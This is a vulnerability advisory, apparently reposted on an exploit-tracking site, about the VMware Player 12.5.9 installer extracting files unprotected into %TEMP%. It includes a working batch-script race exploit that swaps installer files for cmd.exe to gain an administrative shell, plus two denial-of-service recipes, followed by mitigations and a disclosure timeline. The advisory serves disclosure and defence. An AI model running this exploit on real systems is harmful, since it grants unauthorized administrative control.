VMWare Player 12.5.9 Privilege Escalation / Denial Of Service

Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

Hi @ll, the executable installer of VMware Player 12.5.9, published in January 2018, available from <https://download3.vmware.com/software/player/file/VMware-player-12.5.9-7535481.exe>, is vulnerable. JFTR: VMware Player 12.5.9 is the last version which runs on 32-bit Windows, and the last to support older CPUs. Although running with administrative privileges (its embedded application manifest specifies "requireAdministrator"), VMware-player-12.5.9-7535481.exe extracts files UNPROTECTED into subdirectories of the user's %TEMP% directory for later execution. An UNPRIVILEGED process/user running under the same user account can tamper with these unprotected files between their creation and their use, resulting in escalation of privilege. For this well-known and well-documented vulnerability see <https://cwe.mitre.org/data/definitions/377.html> and <https://cwe.mitre.org/data/definitions/379.html> plus <https://capec.mitre.org/data/definitions/27.html> and <https://capec.mitre.org/data/definitions/29.html> Demonstrations/proof of concepts: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The POCs work on standard installations of Windows, where the user account created during Windows Setup is used. This precondition is typically met: according to Microsoft's own security intelligence reports, about 1/2 to 3/4 of the about 600 million Windows installations which send telemetry data have only ONE active user account. See <https://www.microsoft.com/security/sir> A) "escalation of privilege": ----------------------------- 1. create the following text file in an arbitrary directory: --- vmware12.cmd --- :LOOP1 @If Not Exist "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x86.exe" Goto :LOOP1 Copy NUL: "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\VMwarePlayer.msi" :LOOP2 @If Not Exist "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x64.exe" Goto :LOOP2 Copy "%COMSPEC%" "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x86.exe" :LOOP3 Copy "%COMSPEC%" "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x64.exe" If ERRORLEVEL 1 Goto :LOOP3 --- EOF --- 2. fetch the executable installer VMware-player-12.5.9-7535481.exe; 3. start the batch script created in step 1, then run the executable installer: notice the error message from the Windows Installer, and the start of the command processor with administrative rights! B) "denial of service": ----------------------- 1. add the NTFS "access control list entry" (D;OIIO;WP;;;WD) meaning "deny execution of files in this directory for everyone, inheritable to files in all subdirectories" to the user's %TEMP% directory; 2. fetch the executable installer VMware-player-12.5.9-7535481.exe and run it: admire the MISLEADING wrong error message "The installer could not load a required DLL"! C) "denial of service": ----------------------- 1. create a(n empty) file %TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup 2. create the directory C:\VMwareTemp and the (empty) file C:\VMwareTemp\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup 3. fetch the executable installer VMware-player-12.5.9-7535481.exe and run it: admire the MISLEADING wrong error message "Not enough space"! Mitigations: ~~~~~~~~~~~~ 1. DON'T use executable installers; stay far away from such eternally vulnerable crap! 2. NEVER run executable installers from UNSAFE directories like "%USERPROFILE%\Downloads\" or "%TEMP%\" DISABLE execution of files (as shown above) in %USERPROFILE%! 3. Practice STRICT privilege separation: use a your privileged "Administrator" account (especially the account created during Windows setup) ONLY for administrative tasks, and COMPLETELY separate unprivileged user accounts, with elevation requests DISABLED. for your daily/regular work. stay tuned Stefan Kanthak PS: also see <http://seclists.org/bugtraq/2018/Aug/0> Timeline: ~~~~~~~~~ 2018-06-03 vulnerability report(s) sent to vendor 2018-06-13 vendor acknowledged receipt: "We will look into this and provide feedback in due course." 2018-06-14 vendor replies: "It is my understanding that Workstation Player 12.x has since reached end of general support (in February of 2018) as per our Lifecycle Product Matrix <https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/support/product-lifecycle-matrix.pdf>." 2018-08-02 report published

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com


Back to Top